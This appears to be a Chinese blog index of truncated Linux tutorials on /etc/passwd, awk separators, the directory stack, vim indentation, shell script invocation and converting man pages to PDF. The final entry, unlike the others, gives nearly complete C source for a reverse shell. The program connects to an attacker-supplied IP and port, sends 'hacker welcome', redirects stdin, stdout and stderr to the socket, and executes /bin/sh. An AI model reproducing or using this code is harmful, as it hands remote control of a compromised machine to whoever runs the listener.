2012-04-05
Linux用户配置文件 用户管理主要通过修改用户配置文件完成,用户管理控制工具最终目的也是为了修改用户配置文件,那就让我们一起来认识一下Linux用户账户的配置文件. 1.用户信息文件/etc/passwd /etc /passwd是系统识别用户的一个文件,系统所有的用户在这里都有记载。假设当……
Continue reading
2012-04-05
一、先输入一个勾(√),然后选择它,格式-中文版式-带圈字符。基本实现了效果,不过咋看咋别扭,整出来的东西有些变形。下下策也。 二、插入-符号,字体wingdings 字符代码254。(之后可以设置快捷键) 该方法设置出来的才是正宗的方框中打勾。……
Continue reading
2012-03-31
fork ( /directory/script.sh):fork是最普通的, 就是直接在脚本里面用/directory/script.sh来调用script.sh这个脚本。运行的时候开一个sub-shell执行调用的脚本,sub-shell执行的时候, parent-shell还在。sub-……
Continue reading
2012-03-31
一,RS与ORS 1,RS是记录分隔符,默认的分隔符是n,具体用法看下 1[root@localhost test]# cat test1 //测试文件 2 111 222 3 333 444 4 555 666 2, RS默认分割符n 1[root@localhost test]# awk '{print $0}' test1 //awk 'BEGIN{RS="n"}{print $0}' test1 这二个是一样的 2111 222 3333 444 4555 666 其实你可以把上面test1文件里的内容理解为,111 222n333 444n555 6666,利用n进行分割。看下一个例子 3, 自定义RS……
Continue reading
2012-03-31
<br /> 一、目录栈指令 目录栈是用户最近访问过的系统目录列表,并以堆栈的形式管理。栈中的内容与Shell环境变量DIRSTACK的值对应 1、dirs 1)功能<br /> 显示当前目录栈中的所有记录(不带参数的dirs命令显示当前目录栈中的记录) 2)语法<br /> (1)格式:dirs……
Continue reading
2012-03-31
在一个老的linux发行版本中,默认是不支持windows格式的。当时如果想要支持经常使用的方法有两个: 一是:重新编绎内核,选择windows分区格式的支持。这个方法很麻烦。 二是:通过第三方包来增加对windows分区的支持。 我们平时经常用到的是第二种方法: centos给我……
Continue reading
2012-03-31
在linux下我们经常用到的四个应用程序的目录是/bin、/sbin、/usr/bin、/usr/sbin 。而四者存放的文件一般如下: bin目录: <br /> bin为binary的简写主要放置一些系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、m……
Continue reading
2012-03-31
在Normal Mode下,命令>>将对当前行增加缩进,而命令<<则将对当前行减少缩进。我们可以在命令前使用数字,来指定命令作用的范围。例如以下命令,将减少5行的缩进: 5<< 在Insert/Replace Mode下,Ctrl-Shift-t可以增加当前行的缩进,……
Continue reading
2012-03-27
<strong>1、shell下将输出为pdf文件</strong><br /> man -t manpage | ps2pdf – filename.pdf 比如制作 ls 命令的 man 手册 pdf 文件 man -t ls | ps2pdf – ls.pdf <strong>2、bind为命令绑定快捷键</strong><br /> bind -x ‘”C-l”:……
Continue reading
2012-03-27
代码如下: 1#include <stdio.h> 2#include <sys/types.h> 3#include <sys/socket.h> 4#include <unistd.h> 5#include <fcntl.h> 6#include <netinet/in.h> 7#include <stdio.h> 8#include <sys/types.h> 9#include <sys/socket.h> 10#include <unistd.h> 11#include <fcntl.h> 12#include <netinet/in.h> 13#include <netdb.h> 14 15void usage(); 16char shell[]="/bin/sh"; 17char message[]="hacker welcomen"; 18int sock; 19int main(int argc, char *argv[]) { 20 if(argc <3){ 21 usage(argv[0]); 22 } 23 24 struct sockaddr_in server; 25 if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { 26 printf("Couldn't make socket!n"); exit(-1); 27 } 28 29 server.sin_family = AF_INET; 30 server.sin_port = htons(atoi(argv[2])); 31 server.sin_addr.s_addr = inet_addr(argv[1]); 32 33 if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) { 34 printf("Could not connect to remote shell!n"); 35 exit(-1); 36 } 37 send(sock, message, sizeof(message), 0); 38 dup2(sock, 0); 39 dup2(sock, 1); 40 dup2(sock, 2); 41 execl(shell,"/bin/sh",(char *)0); 42 close(sock); 43 return 1; 44} 45 46void usage(char *prog[]) { 47 printf("Usage:……
Continue reading